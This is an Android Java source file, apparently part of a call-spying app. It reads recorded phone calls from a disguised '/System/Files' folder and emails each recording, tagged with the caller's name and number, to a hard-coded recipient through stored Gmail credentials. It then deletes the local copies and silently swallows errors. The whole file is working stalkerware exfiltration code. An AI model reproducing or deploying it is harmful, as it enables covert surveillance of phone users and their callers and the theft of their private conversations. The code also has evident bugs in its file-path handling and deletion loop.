package my.android.call;

import android.content.Context;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.os.AsyncTask;
import android.os.Environment;

import java.io.File;
import my.android.main.Assets;
import my.android.message.GmailSender;

/**
 * Created by dinhthao on 7/4/13.
 * lop nay thuc hien viec lay cac file da ghi am ma khong duoc send trong khi co mang va send lai
 */
public class CallLogger extends AsyncTask<Void, Void, Void>{

    private Context con;
    private ConnectivityManager mConnectivityManager;
    private NetworkInfo mNetworkInfo;
    private static File folder;
    private String[] childrents;
    private int count;
    private static String PATH;

    public CallLogger(Context context){
        this.con = context;
        PATH = Environment.getExternalStorageDirectory().getAbsolutePath() + "/System/Files";
        folder = new File(PATH);
    }

    @Override
    protected Void doInBackground(Void... voids) {
        mConnectivityManager = (ConnectivityManager) con.getSystemService(Context.CONNECTIVITY_SERVICE);
        if(mConnectivityManager != null){
            mNetworkInfo = mConnectivityManager.getActiveNetworkInfo();
        }
        try{
            if(isFileEixst()){
                if(mNetworkInfo.isConnected()){
                    for(int i = 0; i < count; i++){
                        GmailSender mail = new GmailSender(Assets.SENDER, Assets.PASS);
                        mail.attackData(PATH + childrents[i]);
                        mail.sendMail(Assets.TITLE_NEW_CALL, CallingReceiver.calls[i].getName() + "-" +
                                CallingReceiver.calls[i].getNumber(), Assets.SENDER, Assets.RECEIVER);
                        deleteFiles();
                        CallingReceiver.calls[i] = null;
                    }

                    CallingReceiver.countCall = -1;

                }else {
                    deleteFiles();
                }
            }
        }catch (Exception e){}

        return null;
    }

    private boolean isFileEixst(){
        boolean is = false;
        if(folder.exists() && folder.isDirectory()){
            childrents = folder.list();
            if(childrents.length > 0){
                count = childrents.length;
                is = true;
            }
        }
        return is;
    }
    private synchronized void deleteFiles(){
        for(int i = 0; i < count; i++){
            File file = new File(PATH + childrents[i]);
            file.delete();
        }
    }

}
